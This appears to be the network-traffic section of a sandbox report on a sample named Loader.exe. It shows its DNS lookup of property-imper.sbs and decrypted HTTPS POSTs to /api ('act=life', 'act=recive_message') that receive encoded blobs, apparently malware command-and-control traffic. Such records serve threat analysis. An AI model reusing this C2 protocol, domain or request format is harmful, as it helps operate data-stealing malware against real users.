Nov 23, 2024 09:49:03.189515114 CET	443	49731	172.67.162.84	192.168.2.4
Nov 23, 2024 09:49:03.189536095 CET	49731	443	192.168.2.4	172.67.162.84
Nov 23, 2024 09:49:03.189544916 CET	443	49731	172.67.162.84	192.168.2.4
Nov 23, 2024 09:49:03.189557076 CET	443	49731	172.67.162.84	192.168.2.4
Nov 23, 2024 09:49:03.189591885 CET	49731	443	192.168.2.4	172.67.162.84
Nov 23, 2024 09:49:03.189650059 CET	443	49731	172.67.162.84	192.168.2.4
Nov 23, 2024 09:49:03.189703941 CET	49731	443	192.168.2.4	172.67.162.84
Nov 23, 2024 09:49:03.189727068 CET	443	49731	172.67.162.84	192.168.2.4
Nov 23, 2024 09:49:03.205094099 CET	443	49731	172.67.162.84	192.168.2.4
Nov 23, 2024 09:49:03.205171108 CET	49731	443	192.168.2.4	172.67.162.84
Nov 23, 2024 09:49:03.205188990 CET	443	49731	172.67.162.84	192.168.2.4
Nov 23, 2024 09:49:03.213459015 CET	443	49731	172.67.162.84	192.168.2.4
Nov 23, 2024 09:49:03.213519096 CET	49731	443	192.168.2.4	172.67.162.84
Nov 23, 2024 09:49:03.213532925 CET	443	49731	172.67.162.84	192.168.2.4
Nov 23, 2024 09:49:03.262742043 CET	49731	443	192.168.2.4	172.67.162.84
Nov 23, 2024 09:49:03.398958921 CET	443	49731	172.67.162.84	192.168.2.4
Nov 23, 2024 09:49:03.402884960 CET	443	49731	172.67.162.84	192.168.2.4
Nov 23, 2024 09:49:03.402939081 CET	49731	443	192.168.2.4	172.67.162.84
Nov 23, 2024 09:49:03.402972937 CET	443	49731	172.67.162.84	192.168.2.4
Nov 23, 2024 09:49:03.402993917 CET	443	49731	172.67.162.84	192.168.2.4
Nov 23, 2024 09:49:03.403058052 CET	49731	443	192.168.2.4	172.67.162.84
Nov 23, 2024 09:49:03.403143883 CET	49731	443	192.168.2.4	172.67.162.84
Nov 23, 2024 09:49:03.403172970 CET	443	49731	172.67.162.84	192.168.2.4
Nov 23, 2024 09:49:03.403199911 CET	49731	443	192.168.2.4	172.67.162.84
Nov 23, 2024 09:49:03.403213024 CET	443	49731	172.67.162.84	192.168.2.4
Nov 23, 2024 09:49:03.510045052 CET	49732	443	192.168.2.4	172.67.162.84
Nov 23, 2024 09:49:03.510143042 CET	443	49732	172.67.162.84	192.168.2.4
Nov 23, 2024 09:49:03.510234118 CET	49732	443	192.168.2.4	172.67.162.84
Nov 23, 2024 09:49:03.510540962 CET	49732	443	192.168.2.4	172.67.162.84
Nov 23, 2024 09:49:03.510577917 CET	443	49732	172.67.162.84	192.168.2.4
Nov 23, 2024 09:49:04.724203110 CET	443	49732	172.67.162.84	192.168.2.4
Nov 23, 2024 09:49:04.724286079 CET	49732	443	192.168.2.4	172.67.162.84
Nov 23, 2024 09:49:04.738908052 CET	49732	443	192.168.2.4	172.67.162.84
Nov 23, 2024 09:49:04.738957882 CET	443	49732	172.67.162.84	192.168.2.4
Nov 23, 2024 09:49:04.739270926 CET	443	49732	172.67.162.84	192.168.2.4
Nov 23, 2024 09:49:04.749830961 CET	49732	443	192.168.2.4	172.67.162.84
Nov 23, 2024 09:49:04.750080109 CET	49732	443	192.168.2.4	172.67.162.84
Nov 23, 2024 09:49:04.750123978 CET	443	49732	172.67.162.84	192.168.2.4
Nov 23, 2024 09:49:04.750232935 CET	49732	443	192.168.2.4	172.67.162.84
Nov 23, 2024 09:49:04.750248909 CET	443	49732	172.67.162.84	192.168.2.4
Nov 23, 2024 09:49:06.748483896 CET	443	49732	172.67.162.84	192.168.2.4
Nov 23, 2024 09:49:06.748594046 CET	443	49732	172.67.162.84	192.168.2.4
Nov 23, 2024 09:49:06.748698950 CET	49732	443	192.168.2.4	172.67.162.84
Nov 23, 2024 09:49:06.748867035 CET	49732	443	192.168.2.4	172.67.162.84
Nov 23, 2024 09:49:06.748908043 CET	443	49732	172.67.162.84	192.168.2.4
Nov 23, 2024 09:49:06.877975941 CET	49733	443	192.168.2.4	172.67.162.84
Nov 23, 2024 09:49:06.878021955 CET	443	49733	172.67.162.84	192.168.2.4
Nov 23, 2024 09:49:06.878092051 CET	49733	443	192.168.2.4	172.67.162.84
Nov 23, 2024 09:49:06.878365993 CET	49733	443	192.168.2.4	172.67.162.84
Nov 23, 2024 09:49:06.878381014 CET	443	49733	172.67.162.84	192.168.2.4
Nov 23, 2024 09:49:08.091797113 CET	443	49733	172.67.162.84	192.168.2.4
Nov 23, 2024 09:49:08.091903925 CET	49733	443	192.168.2.4	172.67.162.84
Nov 23, 2024 09:49:08.092998028 CET	49733	443	192.168.2.4	172.67.162.84
Nov 23, 2024 09:49:08.093004942 CET	443	49733	172.67.162.84	192.168.2.4
Nov 23, 2024 09:49:08.093313932 CET	443	49733	172.67.162.84	192.168.2.4
Nov 23, 2024 09:49:08.094475985 CET	49733	443	192.168.2.4	172.67.162.84
Nov 23, 2024 09:49:08.094614983 CET	49733	443	192.168.2.4	172.67.162.84
Nov 23, 2024 09:49:08.094639063 CET	443	49733	172.67.162.84	192.168.2.4
Nov 23, 2024 09:49:08.818675041 CET	443	49733	172.67.162.84	192.168.2.4
Nov 23, 2024 09:49:08.818768024 CET	443	49733	172.67.162.84	192.168.2.4
Nov 23, 2024 09:49:08.818811893 CET	49733	443	192.168.2.4	172.67.162.84
Nov 23, 2024 09:49:08.818927050 CET	49733	443	192.168.2.4	172.67.162.84
Nov 23, 2024 09:49:08.818939924 CET	443	49733	172.67.162.84	192.168.2.4
Nov 23, 2024 09:49:09.031749964 CET	49734	443	192.168.2.4	172.67.162.84
Nov 23, 2024 09:49:09.031841993 CET	443	49734	172.67.162.84	192.168.2.4
Nov 23, 2024 09:49:09.032071114 CET	49734	443	192.168.2.4	172.67.162.84
Nov 23, 2024 09:49:09.032320976 CET	49734	443	192.168.2.4	172.67.162.84
Nov 23, 2024 09:49:09.032360077 CET	443	49734	172.67.162.84	192.168.2.4
Nov 23, 2024 09:49:10.297256947 CET	443	49734	172.67.162.84	192.168.2.4
Nov 23, 2024 09:49:10.297377110 CET	49734	443	192.168.2.4	172.67.162.84
Nov 23, 2024 09:49:10.298587084 CET	49734	443	192.168.2.4	172.67.162.84
Nov 23, 2024 09:49:10.298629999 CET	443	49734	172.67.162.84	192.168.2.4
Nov 23, 2024 09:49:10.299706936 CET	443	49734	172.67.162.84	192.168.2.4
Nov 23, 2024 09:49:10.300817013 CET	49734	443	192.168.2.4	172.67.162.84
Nov 23, 2024 09:49:10.300949097 CET	49734	443	192.168.2.4	172.67.162.84
Nov 23, 2024 09:49:10.301002026 CET	443	49734	172.67.162.84	192.168.2.4
Nov 23, 2024 09:49:10.301105022 CET	49734	443	192.168.2.4	172.67.162.84
Nov 23, 2024 09:49:10.301120996 CET	443	49734	172.67.162.84	192.168.2.4
Nov 23, 2024 09:49:11.185909986 CET	443	49734	172.67.162.84	192.168.2.4
Nov 23, 2024 09:49:11.186192036 CET	443	49734	172.67.162.84	192.168.2.4
Nov 23, 2024 09:49:11.186208963 CET	49734	443	192.168.2.4	172.67.162.84
Nov 23, 2024 09:49:11.186278105 CET	49734	443	192.168.2.4	172.67.162.84
Nov 23, 2024 09:49:11.801774025 CET	49735	443	192.168.2.4	172.67.162.84
Nov 23, 2024 09:49:11.801830053 CET	443	49735	172.67.162.84	192.168.2.4
Nov 23, 2024 09:49:11.801898956 CET	49735	443	192.168.2.4	172.67.162.84
Nov 23, 2024 09:49:11.802568913 CET	49735	443	192.168.2.4	172.67.162.84
Nov 23, 2024 09:49:11.802583933 CET	443	49735	172.67.162.84	192.168.2.4
Nov 23, 2024 09:49:13.021672964 CET	443	49735	172.67.162.84	192.168.2.4
Nov 23, 2024 09:49:13.021780014 CET	49735	443	192.168.2.4	172.67.162.84
Nov 23, 2024 09:49:13.023073912 CET	49735	443	192.168.2.4	172.67.162.84
Nov 23, 2024 09:49:13.023088932 CET	443	49735	172.67.162.84	192.168.2.4
Nov 23, 2024 09:49:13.023761034 CET	443	49735	172.67.162.84	192.168.2.4
Nov 23, 2024 09:49:13.027091026 CET	49735	443	192.168.2.4	172.67.162.84
Nov 23, 2024 09:49:13.027190924 CET	49735	443	192.168.2.4	172.67.162.84
Nov 23, 2024 09:49:13.027196884 CET	443	49735	172.67.162.84	192.168.2.4
Nov 23, 2024 09:49:13.724226952 CET	443	49735	172.67.162.84	192.168.2.4
Nov 23, 2024 09:49:13.724333048 CET	443	49735	172.67.162.84	192.168.2.4
Nov 23, 2024 09:49:13.724380016 CET	49735	443	192.168.2.4	172.67.162.84
Nov 23, 2024 09:49:13.724431038 CET	49735	443	192.168.2.4	172.67.162.84
Nov 23, 2024 09:49:13.724453926 CET	443	49735	172.67.162.84	192.168.2.4
Nov 23, 2024 09:49:14.557854891 CET	49736	443	192.168.2.4	172.67.162.84
Nov 23, 2024 09:49:14.557945013 CET	443	49736	172.67.162.84	192.168.2.4
Nov 23, 2024 09:49:14.558090925 CET	49736	443	192.168.2.4	172.67.162.84
Nov 23, 2024 09:49:14.558568001 CET	49736	443	192.168.2.4	172.67.162.84
Nov 23, 2024 09:49:14.558602095 CET	443	49736	172.67.162.84	192.168.2.4
Nov 23, 2024 09:49:15.864759922 CET	443	49736	172.67.162.84	192.168.2.4
Nov 23, 2024 09:49:15.864845037 CET	49736	443	192.168.2.4	172.67.162.84
Nov 23, 2024 09:49:15.866041899 CET	49736	443	192.168.2.4	172.67.162.84
Nov 23, 2024 09:49:15.866070032 CET	443	49736	172.67.162.84	192.168.2.4
Nov 23, 2024 09:49:15.866405964 CET	443	49736	172.67.162.84	192.168.2.4
Nov 23, 2024 09:49:15.877861023 CET	49736	443	192.168.2.4	172.67.162.84
Nov 23, 2024 09:49:15.878740072 CET	49736	443	192.168.2.4	172.67.162.84
Nov 23, 2024 09:49:15.878787041 CET	443	49736	172.67.162.84	192.168.2.4
Nov 23, 2024 09:49:15.878915071 CET	49736	443	192.168.2.4	172.67.162.84
Nov 23, 2024 09:49:15.878963947 CET	443	49736	172.67.162.84	192.168.2.4
Nov 23, 2024 09:49:15.879117966 CET	49736	443	192.168.2.4	172.67.162.84
Nov 23, 2024 09:49:15.879152060 CET	443	49736	172.67.162.84	192.168.2.4
Nov 23, 2024 09:49:15.879434109 CET	49736	443	192.168.2.4	172.67.162.84
Nov 23, 2024 09:49:15.879484892 CET	443	49736	172.67.162.84	192.168.2.4
Nov 23, 2024 09:49:15.880036116 CET	49736	443	192.168.2.4	172.67.162.84
Nov 23, 2024 09:49:15.880104065 CET	443	49736	172.67.162.84	192.168.2.4
Nov 23, 2024 09:49:15.880430937 CET	49736	443	192.168.2.4	172.67.162.84
Nov 23, 2024 09:49:15.880470991 CET	443	49736	172.67.162.84	192.168.2.4
Nov 23, 2024 09:49:15.880496025 CET	49736	443	192.168.2.4	172.67.162.84
Nov 23, 2024 09:49:15.880522966 CET	443	49736	172.67.162.84	192.168.2.4
Nov 23, 2024 09:49:15.880675077 CET	49736	443	192.168.2.4	172.67.162.84
Nov 23, 2024 09:49:15.880716085 CET	443	49736	172.67.162.84	192.168.2.4
Nov 23, 2024 09:49:15.880769968 CET	49736	443	192.168.2.4	172.67.162.84
Nov 23, 2024 09:49:15.880872011 CET	49736	443	192.168.2.4	172.67.162.84
Nov 23, 2024 09:49:15.880935907 CET	49736	443	192.168.2.4	172.67.162.84
Nov 23, 2024 09:49:15.923362970 CET	443	49736	172.67.162.84	192.168.2.4
Nov 23, 2024 09:49:15.923593998 CET	49736	443	192.168.2.4	172.67.162.84
Nov 23, 2024 09:49:15.923666954 CET	49736	443	192.168.2.4	172.67.162.84
Nov 23, 2024 09:49:15.923726082 CET	49736	443	192.168.2.4	172.67.162.84
Nov 23, 2024 09:49:15.971357107 CET	443	49736	172.67.162.84	192.168.2.4
Nov 23, 2024 09:49:15.971448898 CET	49736	443	192.168.2.4	172.67.162.84
Nov 23, 2024 09:49:16.019365072 CET	443	49736	172.67.162.84	192.168.2.4
Nov 23, 2024 09:49:18.069598913 CET	443	49736	172.67.162.84	192.168.2.4
Nov 23, 2024 09:49:18.069842100 CET	443	49736	172.67.162.84	192.168.2.4
Nov 23, 2024 09:49:18.069854975 CET	49736	443	192.168.2.4	172.67.162.84
Nov 23, 2024 09:49:18.069919109 CET	49736	443	192.168.2.4	172.67.162.84
Nov 23, 2024 09:49:18.106555939 CET	49739	443	192.168.2.4	172.67.162.84
Nov 23, 2024 09:49:18.106601954 CET	443	49739	172.67.162.84	192.168.2.4
Nov 23, 2024 09:49:18.106692076 CET	49739	443	192.168.2.4	172.67.162.84
Nov 23, 2024 09:49:18.106944084 CET	49739	443	192.168.2.4	172.67.162.84
Nov 23, 2024 09:49:18.106955051 CET	443	49739	172.67.162.84	192.168.2.4
Nov 23, 2024 09:49:18.622597933 CET	49739	443	192.168.2.4	172.67.162.84

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 23, 2024 09:48:58.676820040 CET	52067	53	192.168.2.4	1.1.1.1
Nov 23, 2024 09:48:59.146656036 CET	53	52067	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 23, 2024 09:48:58.676820040 CET	192.168.2.4	1.1.1.1	0x43f9	Standard query (0)	property-imper.sbs	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 23, 2024 09:48:59.146656036 CET	1.1.1.1	192.168.2.4	0x43f9	No error (0)	property-imper.sbs		172.67.162.84	A (IP address)	IN (0x0001)	false
Nov 23, 2024 09:48:59.146656036 CET	1.1.1.1	192.168.2.4	0x43f9	No error (0)	property-imper.sbs		104.21.33.116	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

property-imper.sbs

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	172.67.162.84	443	3864	C:\Users\user\Desktop\Loader.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 08:49:00 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: property-imper.sbs
2024-11-23 08:49:00 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-11-23 08:49:01 UTC	1019	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 08:49:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=3nntl9apo0fa24b5kgsee8361t; expires=Wed, 19-Mar-2025 02:35:39 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=u%2BvSCrRO5NiA1V4pBcJ3qcZhhpWC2N0VGGhItIA8l%2FYibBYi0UUDt34AUoqIFzVHUeCE3lYytm1r4ASkhE1%2BsTHasmPi4duVA%2Bqmlj0AkxK52Zck0wD%2B%2FJEvIACWEMYzJFb89q8%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e6fe74b5c138c2d-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1817&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2845&recv_bytes=909&delivery_rate=1549893&cwnd=247&unsent_bytes=0&cid=52dc06d7375201e7&ts=698&x=0"
2024-11-23 08:49:01 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-11-23 08:49:01 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49731	172.67.162.84	443	3864	C:\Users\user\Desktop\Loader.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 08:49:02 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 52 Host: property-imper.sbs
2024-11-23 08:49:02 UTC	52	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 79 61 75 36 4e 61 2d 2d 36 35 32 34 37 39 35 30 39 34 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=yau6Na--6524795094&j=
2024-11-23 08:49:03 UTC	1009	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 08:49:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=l18o1uv4igmkp8hjgtu75jp3bl; expires=Wed, 19-Mar-2025 02:35:41 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=PqMgBv3dSQAMubiT9YAEILRJxAbu9dokcuEuqeqduxTOrZ6KESLG9HiXvAkaH1fGs9niw24MG7P7Wb%2BGzFSIHDwVRVza1BWgVEe47gFkLAOx65R6i2OmfiyaoRZah055HCpbOgc%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e6fe7582edb426a-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1720&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2845&recv_bytes=954&delivery_rate=1723730&cwnd=223&unsent_bytes=0&cid=8950dd2534571623&ts=731&x=0"
2024-11-23 08:49:03 UTC	360	IN	Data Raw: 34 64 37 0d 0a 6d 66 51 71 67 69 6c 37 6c 51 32 66 53 54 6f 69 2b 69 63 4e 74 32 51 43 67 68 77 33 62 66 44 74 6a 6f 49 2b 43 68 65 53 69 63 4c 69 31 6c 79 67 45 30 2b 35 4c 2b 77 73 47 42 69 4f 56 58 6a 53 53 43 44 6a 65 42 56 58 6c 6f 7a 69 38 56 73 6d 4e 65 54 6b 34 4b 4f 53 53 2b 35 61 48 72 6b 76 2b 6a 45 59 47 4b 46 63 4c 39 49 4b 49 4c 67 2b 55 67 65 53 6a 4f 4c 67 58 32 46 34 34 75 57 68 38 5a 68 4e 36 6b 77 59 38 57 7a 7a 4a 46 39 48 6e 30 5a 6e 32 51 31 76 36 6e 45 56 51 64 4b 49 39 4b 41 45 4b 46 72 33 2f 61 50 55 6c 56 6e 70 43 77 61 35 64 72 30 73 56 41 44 41 42 57 7a 53 42 6d 37 6b 65 46 77 46 6d 49 58 71 34 56 70 67 5a 2f 76 76 71 76 47 57 54 75 74 47 45 65 56 68 2b 53 4e 55 51 5a 56 47 4c 35 74 47 5a 2f 67 2b 44 55 2f 42 76 65 2f 78 54 58 Data Ascii: 4d7mfQqgil7lQ2fSToi+icNt2QCghw3bfDtjoI+CheSicLi1lygE0+5L+wsGBiOVXjSSCDjeBVXlozi8VsmNeTk4KOSS+5aHrkv+jEYGKFcL9IKILg+UgeSjOLgX2F44uWh8ZhN6kwY8WzzJF9Hn0Zn2Q1v6nEVQdKI9KAEKFr3/aPUlVnpCwa5dr0sVADABWzSBm7keFwFmIXq4VpgZ/vvqvGWTutGEeVh+SNUQZVGL5tGZ/g+DU/Bve/xTX
2024-11-23 08:49:03 UTC	886	IN	Data Raw: 54 52 59 70 4f 5a 74 67 4c 59 4f 31 30 57 67 79 53 69 4f 62 71 55 32 4a 78 2f 65 61 6d 2b 35 59 49 72 67 73 65 37 79 2b 6c 61 33 74 46 69 45 4a 6a 77 30 52 61 6f 47 45 62 46 74 4b 49 34 4b 41 45 4b 48 33 31 36 4b 50 77 6d 55 76 6f 51 41 76 33 66 66 73 6d 58 56 4b 65 51 47 48 66 42 58 4c 71 63 46 4d 4d 6d 34 54 6c 35 56 74 73 4e 62 36 72 70 2b 50 57 45 4b 42 71 46 50 78 6a 39 7a 78 59 41 49 63 4c 64 70 55 42 62 4b 41 6d 46 51 75 54 69 2b 33 6b 55 6d 5a 78 2f 4f 32 75 39 70 6c 4f 36 6b 73 65 2f 57 66 31 4b 6c 56 4c 6c 30 56 71 32 41 4a 6d 37 48 39 51 54 39 7a 50 36 2f 67 63 4d 44 58 65 37 4b 50 70 31 48 33 6a 52 52 66 77 65 62 30 30 46 6c 6e 59 51 6d 4f 56 58 69 44 75 65 31 6f 64 6b 35 33 70 37 6b 35 6b 63 50 62 6d 6f 2f 57 57 54 65 64 47 46 2f 46 6f 2f 69 Data Ascii: TRYpOZtgLYO10WgySiObqU2Jx/eam+5YIrgse7y+la3tFiEJjw0RaoGEbFtKI4KAEKH316KPwmUvoQAv3ffsmXVKeQGHfBXLqcFMMm4Tl5VtsNb6rp+PWEKBqFPxj9zxYAIcLdpUBbKAmFQuTi+3kUmZx/O2u9plO6kse/Wf1KlVLl0Vq2AJm7H9QT9zP6/gcMDXe7KPp1H3jRRfweb00FlnYQmOVXiDue1odk53p7k5kcPbmo/WWTedGF/Fo/i
2024-11-23 08:49:03 UTC	1369	IN	Data Raw: 33 66 39 35 0d 0a 63 53 2b 52 50 46 50 68 6d 39 43 4a 4b 53 70 52 4c 66 64 67 4d 5a 65 35 79 55 41 43 53 6a 75 33 75 56 6d 4d 31 76 71 75 6e 34 39 59 51 6f 47 51 55 35 33 33 33 49 45 6b 43 72 55 5a 68 32 77 46 32 6f 47 45 62 46 74 4b 49 34 4b 41 45 4b 48 37 32 35 36 7a 37 6b 46 72 75 52 41 76 39 66 66 6b 6c 58 45 79 57 54 47 4c 61 41 33 4c 6b 66 6b 63 4f 6c 34 6a 69 37 55 35 74 4e 62 36 72 70 2b 50 57 45 4b 42 78 4c 66 42 2f 37 43 77 61 64 5a 74 4c 59 64 49 51 49 50 38 77 54 45 2b 56 67 36 79 34 48 47 74 35 2f 65 4b 6c 39 49 52 43 37 45 6f 4c 38 47 62 30 49 56 6c 4f 6c 30 35 6a 30 42 52 72 37 33 5a 61 44 70 2b 43 35 2b 52 63 4b 44 75 77 37 4c 69 37 7a 67 6a 42 52 68 62 6c 62 4f 78 70 62 55 4f 57 53 32 6a 44 52 6e 2b 75 5a 78 55 49 6e 73 2b 30 6f 46 31 6b Data Ascii: 3f95cS+RPFPhm9CJKSpRLfdgMZe5yUACSju3uVmM1vqun49YQoGQU5333IEkCrUZh2wF2oGEbFtKI4KAEKH7256z7kFruRAv9ffklXEyWTGLaA3LkfkcOl4ji7U5tNb6rp+PWEKBxLfB/7CwadZtLYdIQIP8wTE+Vg6y4HGt5/eKl9IRC7EoL8Gb0IVlOl05j0BRr73ZaDp+C5+RcKDuw7Li7zgjBRhblbOxpbUOWS2jDRn+uZxUIns+0oF1k
2024-11-23 08:49:03 UTC	1369	IN	Data Raw: 37 33 6e 55 2f 72 51 42 33 7a 62 2f 41 67 56 6b 36 52 53 57 66 5a 41 58 4c 74 65 31 30 46 6d 34 72 67 37 56 39 36 64 76 47 72 37 72 75 52 55 4b 41 54 57 64 42 63 79 67 67 59 58 39 5a 63 4c 39 49 4b 49 4c 67 2b 56 41 65 56 67 65 6a 79 55 6e 70 37 39 2b 75 6d 38 35 35 50 37 45 55 58 35 57 66 38 4b 31 5a 50 6b 45 78 72 31 41 4a 6b 37 48 6b 56 51 64 4b 49 39 4b 41 45 4b 46 33 7a 38 62 71 35 75 45 50 67 54 41 6e 68 64 4c 30 30 46 6c 6e 59 51 6d 4f 56 58 69 44 6b 64 56 38 47 6b 59 62 6f 37 56 78 68 65 76 6e 6a 72 66 4f 45 53 65 70 5a 48 66 4a 75 38 69 46 63 53 4a 52 4b 59 39 45 55 61 36 41 77 46 51 69 4b 7a 37 53 67 66 47 4e 6a 30 2f 6d 79 75 34 6b 47 2b 51 73 65 2b 79 2b 6c 61 31 46 4d 6d 55 52 6c 30 77 31 6c 37 58 35 51 42 5a 57 44 37 4f 42 66 62 6e 50 39 34 Data Ascii: 73nU/rQB3zb/AgVk6RSWfZAXLte10Fm4rg7V96dvGr7ruRUKATWdBcyggYX9ZcL9IKILg+VAeVgejyUnp79+um855P7EUX5Wf8K1ZPkExr1AJk7HkVQdKI9KAEKF3z8bq5uEPgTAnhdL00FlnYQmOVXiDkdV8GkYbo7VxhevnjrfOESepZHfJu8iFcSJRKY9EUa6AwFQiKz7SgfGNj0/myu4kG+Qse+y+la1FMmURl0w1l7X5QBZWD7OBfbnP94
2024-11-23 08:49:03 UTC	1369	IN	Data Raw: 41 34 45 51 63 2f 32 54 37 4a 56 6c 47 6c 45 67 76 6d 30 5a 6e 2b 44 34 4e 54 37 57 56 34 65 5a 4c 65 55 44 33 36 2f 47 37 69 51 62 35 43 78 37 37 4c 36 56 72 56 55 79 53 53 47 72 52 44 6d 66 6a 66 31 6b 4c 6e 34 4c 6f 36 56 68 74 5a 2b 4c 74 72 76 75 5a 52 75 39 48 43 2f 6c 71 2f 53 63 59 44 74 68 43 64 35 56 65 49 4e 46 70 56 55 2b 4e 77 66 57 67 57 32 51 31 71 4b 75 76 39 6f 52 45 37 30 73 59 39 47 76 32 4c 46 35 47 6d 55 5a 71 31 67 4e 6d 34 58 35 5a 42 5a 57 48 35 75 35 52 62 6e 48 32 37 65 43 31 31 6b 2f 34 43 30 47 33 58 66 41 6c 55 55 4f 65 53 48 6e 39 4e 79 44 2f 4d 45 78 50 6c 59 4f 73 75 42 78 73 66 76 6a 6e 70 66 4f 54 53 65 68 42 45 66 68 67 37 79 70 58 53 5a 39 4f 59 74 6f 49 5a 65 35 73 55 67 53 5a 68 2b 58 75 57 69 67 37 73 4f 79 34 75 38 Data Ascii: A4EQc/2T7JVlGlEgvm0Zn+D4NT7WV4eZLeUD36/G7iQb5Cx77L6VrVUySSGrRDmfjf1kLn4Lo6VhtZ+LtrvuZRu9HC/lq/ScYDthCd5VeINFpVU+NwfWgW2Q1qKuv9oRE70sY9Gv2LF5GmUZq1gNm4X5ZBZWH5u5RbnH27eC11k/4C0G3XfAlUUOeSHn9NyD/MExPlYOsuBxsfvjnpfOTSehBEfhg7ypXSZ9OYtoIZe5sUgSZh+XuWig7sOy4u8
2024-11-23 08:49:03 UTC	1369	IN	Data Raw: 45 76 39 6f 39 53 39 57 55 70 6c 4b 4c 35 74 47 5a 2f 67 2b 44 55 2b 6a 6d 65 76 6e 55 79 70 63 39 2f 43 68 38 5a 56 44 37 41 73 47 75 58 61 39 4c 46 51 41 77 41 56 69 32 51 74 6b 38 6e 4a 56 44 35 75 49 35 76 4a 54 5a 33 6a 7a 36 36 58 70 6c 31 72 76 51 42 7a 30 61 2f 49 6b 56 45 69 53 42 53 47 56 41 58 69 67 4a 68 55 6a 6b 5a 37 6d 6f 6e 74 79 59 2f 66 6e 73 66 43 62 52 4b 42 55 56 2b 34 76 2b 69 63 59 47 4e 68 46 62 74 67 55 5a 65 46 30 58 77 4b 61 67 4f 6e 6c 55 32 78 78 2b 2b 57 79 39 5a 6c 49 35 6b 41 59 38 6d 7a 32 49 56 5a 4a 69 67 55 68 6c 51 46 34 6f 43 59 56 4a 59 6d 4f 34 65 77 65 52 6e 37 6d 37 4f 4c 61 6d 45 50 6e 52 77 2b 33 63 4c 4d 79 47 45 65 55 42 54 65 56 44 32 37 73 66 56 49 48 6d 6f 72 73 36 31 78 6e 66 2f 37 73 73 76 47 61 51 76 4a Data Ascii: Ev9o9S9WUplKL5tGZ/g+DU+jmevnUypc9/Ch8ZVD7AsGuXa9LFQAwAVi2Qtk8nJVD5uI5vJTZ3jz66Xpl1rvQBz0a/IkVEiSBSGVAXigJhUjkZ7montyY/fnsfCbRKBUV+4v+icYGNhFbtgUZeF0XwKagOnlU2xx++Wy9ZlI5kAY8mz2IVZJigUhlQF4oCYVJYmO4eweRn7m7OLamEPnRw+3cLMyGEeUBTeVD27sfVIHmors61xnf/7ssvGaQvJ
2024-11-23 08:49:03 UTC	1369	IN	Data Raw: 37 30 30 46 6c 6e 59 51 6d 4f 56 58 69 44 67 65 6c 6b 4d 6c 59 48 6a 37 56 4e 76 66 76 2f 68 72 75 6d 5a 54 65 68 48 45 66 70 39 39 79 46 4b 53 5a 46 49 59 64 30 55 59 36 41 77 46 51 69 4b 7a 37 53 67 62 6d 4a 32 2f 50 32 74 39 4e 5a 58 72 6c 4a 5a 38 47 4f 39 63 78 68 53 69 6b 56 6b 31 51 46 75 38 6e 39 64 41 4a 69 50 36 75 74 57 61 33 7a 30 35 61 6e 39 6c 30 58 68 53 68 6e 79 62 2f 51 35 56 51 44 57 42 57 6a 4e 52 6a 69 67 53 56 6b 45 6f 34 7a 36 6f 45 4d 6d 62 4c 44 73 72 4c 76 4f 43 4f 46 5a 46 50 39 72 2f 53 5a 65 53 35 6c 45 62 4e 55 47 59 2b 42 37 58 67 43 55 69 4f 48 71 56 57 46 6e 2b 4f 2b 79 2b 35 70 4d 6f 41 56 5a 38 48 65 39 63 78 68 77 6d 30 35 6a 31 51 74 31 6f 47 45 62 46 74 4b 49 34 4b 41 45 4b 48 33 37 34 4b 62 77 6c 55 76 75 51 42 50 34 Data Ascii: 